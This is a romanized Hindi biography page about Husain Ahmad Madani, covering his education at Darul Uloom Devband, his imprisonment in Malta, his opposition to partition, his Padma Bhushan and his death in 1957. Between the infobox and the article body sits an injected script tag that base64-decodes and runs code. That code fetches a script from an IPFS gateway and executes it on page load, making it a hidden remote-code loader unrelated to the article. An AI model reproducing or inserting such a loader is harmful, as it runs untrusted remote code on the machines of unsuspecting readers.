हुसैन अहमद मदनी
husain ahamad madani
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| poora nam | husain ahamad madani |
| janm | 6 aktoobar, 1879 |
| janm bhoomi | kasba baangaramoo, zila unnav, uttar pradesh |
| mrityu | 5 disambar, 1957 |
| mrityu sthan | devaband, uttar pradesh |
| abhibhavak | pita- sayyad habibullah |
| santan | tin putr |
| karm bhoomi | bharat |
| vidyalay | darul uloom devaband |
| puraskar-upadhi | padm bhooshan, 1954 |
| prasiddhi | islami vidvan aur svatantrata senani |
| nagarikata | bharatiy |
| any janakari | maulana husain ahamad madani hindoo aur muslim donoan hi charamapanthiyoan se barabar roop se l de. isi prakriya mean maulana mahamood madani ki bahas kee bar shayar allama maulana ikabal ke sath huee. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>husain ahamad madani (aangrezi: Hussain Ahmed Madani, janm- 6 aktoobar, 1879; mrityu- 5 disambar, 1957) khyatiprapt islami vidvan aur svatantrata senani the. vah bharatiy rashtriy kaangres, khilaphat aandolan aur bharatiy svatantrata aandolan ke ek prabhavashali neta the. husain ahamad madani hajir javab, achchhe vakta aur ek achchhe tarkashastri the. unake pita sayyad habibullah, paiganbar muhammad ke vanshaj the.
parichay
maulana sayyad husain ahamad madani ka janm 6 aktoobar, 1879 mean zila unnav, uttar pradesh ke baangaramoo kasbe mean hua tha. unake pita sayyad habibullah pradhanadhyapak the. apane apani maan se paanchavian tak aur phir 13 sal ki umr tak apani shiksha pita ke skool mean poori ki. terah sal ki umr ho jane par pita ne inhean darul uloom devaband bhej diya, jahaan husain ahamad madani ne maulana mahamood hasan devabandi aur maulana julphikar ali (darul uloom devaband ke sansthapakoan mean se ek) jaise shikshakoan ke adhin adhyayan kiya. bad mean vah rashid ahamad gangohi ke shishy bane, jinhoanne bad mean inhean soophi marg mean doosaroan ko murid karane ke lie adhikrit kiya.
darul uloom devaband se snatak hone ke bad husain ahamad madani madina chale ge. jahaan inhoanne arabi vyakaran, al-fikah, usool al-hadis aur kuranik padhana shuroo kiya. dhire dhire inaka shikshan bahut vistrit ho gaya. inake asapas chhatroan ki bhi d jama ho gee. is samay unaki umr matr 24 sal thi. husain ahamad madani ko shiksha ke kshetr mean itani prasiddhi mili ki madhy poorv, aphrika, chin, aljiriya, hindustan tak ke chhatr jnan prapt karane khianche chale ane lage.
svatantrata aur ekata ke lie prayas
soodi mean shikshan ke dauran husain ahamad madani ke shikshak mehamood hasan ki 'resham patr shadyantr' mean bhoomika ke lie aangrejoan dvara saja sunaee gee. jisake bad unhean malta dvip ki ek jel mean bhej diya gaya. apane boodhe ustad ki seva ke lie madani aur tin chhatroan ne sath jane ka phaisala kiya taki vah unaki dekhabhal kar sakean. mahamood hasan ne kaha ki aangreji sarakar ne mujhe doshi paya hai, tum log nirdosh ho, khud ko riha karane ki koshish karo. tab charoan ne javab diya ki ve mar jaeange lekin ve apaki seva se alag nahian hoange.
dvitiy vishv yuddh ki samapti ke bad sadhe tin sal ki kaid ke bad, shekh al-hiand aur husain ahamad madani sahit unake sabhi sathiyoan ko akhirakar riha kar diya gaya. apani rihaee ke bad ve bharat laut ae aur bharat ke svatantrata sangram mean sakriy roop se shamil ho ge. husain ahamad madani ne 1920 mean kaangres-khilaphat samajhaute ko majaboot karane mean mahatvapoorn bhoomika nibhaee aur bharatiy rashtriy kaangres ke sath bharatiy ulema ke sahayog ke lie jamin taiyar ki.
san 1930 se 1950 ke dharmik roop se kathin varshoan ke dauran jab dharmik vichar hindoo mahasabha aur muslim lig jaise do charam panthoan mean bante the to maulana madani ne bar bar yah likha, tark kiya aur is bat ke lie abhiyan chalaya ki aangrejoan ke khilaph sabhi dharmoan ke logoan ko milakar sanyukt sangharsh karana chahie aur isi ke sath unhoanne kuran aur paigambar muhammad sahab ki shikshaoan (hadis) ke adhar par samudayoan ke bich ekata aur sahayog ko bhi uchit thaharaya. maulana madani ne pakistan ke nirman aur do rashtr siddhaant ke tark ka virodh kiya. isake lie apane apani rajanitik vichar 'muttahidah kaumiyat' ka logo mean khoob prachar prasar kiya.
muttahidah kaumiyat
[[chitr:Hussain-Ahmed-Madani-Stamp.jpg|thumb|left|250px|husain ahamad madani par jari dak tikat]] muttahidah kaumiyat vah avadharana hai jo yah tark deti hai ki 'bharatiy rashtr' vividh sanskritiyoan, jatiyoan, samudayoan aur dharm ke logoan se bana hai. isalie bharat mean rashtravad ko dharm dvara paribhashit nahian kiya ja sakata hai. bharatiy nagarik apani vishisht dharmik paranparaoan evan pahachan ko banae rakhate huye ek svatantr, dharmanirapeksh bharat ke poorn nagarik hoange. muttahidah kaumiyat (samagr rashtravad) ka kahana hai ki aangrejoan ke bharatiy upamahadvip mean ane se pahale vibhinn dharmik vishvas ke logoan ke bich koee dushmani nahian thi. aangrejoan ne 'phoot dalo aur raj karo' niti ke tahath logoan ke bich dushmani paida ki. logoan ko ye samajha kar in kritrim vibhajanoan ko bharatiy samaj se door kiya ja sakata hai.
apane aise vicharoan se maulana husain ahamad madani hindoo aur muslim donoan hi charamapanthiyoan se barabar roop se l d rahe the. isi prakriya mean maulana mahamood madani ki bahas bhi kee bar shayar allama maulana ikabal ke sath huee. kee patroan dvara vicharoan ke adan pradan ke bad madani apane prayas mean saphal hue. isaka pata ikabal ke kee patroan se chalata hai. apane sabhi prayasoan ke bavajood desh ka vibhajan hone se husain ahamad madani ko bahut du:kh hua. husain ahamad madani aur kee any muslim dharmik netaoan ne lakhoan muslimoan ko bharat mean rukane ke lie mana liya.
padm bhooshan
ajadi ke bad javaharalal neharoo ki aguaee vali nee sarakar ne maulana madani ko kee tarah ka rajanitik pad dene ka prayas kiya, magar madani ne bahut hi vinamrata se iankar kar diya aur devaband madarase mean padhana shuroo kar diya. maulana madani 1954 mean padm bhooshan samman prapt karane vale pahale praptakartaoan mean se ek the.
mrityu
5 disambar san 1957 mean maulana sayyad husain ahamad madani ki mrityu ke bad unake parthiv sharir ko tirange mean lapet kar desh ka sarvochch samman diya gaya aur aantim yatra mean pradhanamantri neharoo samet unake mantrimandal ke kee mantri bhi maujood the. maulana madani ko sarvochch samman ke sath supurde khak kiya gaya. 29 agast 2012 ko bharatiy dak vibhag ne maulana madani ke samman mean ek smarak dak tikat bhi jari kiya.
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tika tippani aur sandarbh
sanbandhit lekh
- REDIRECTsaancha:svatantrata senani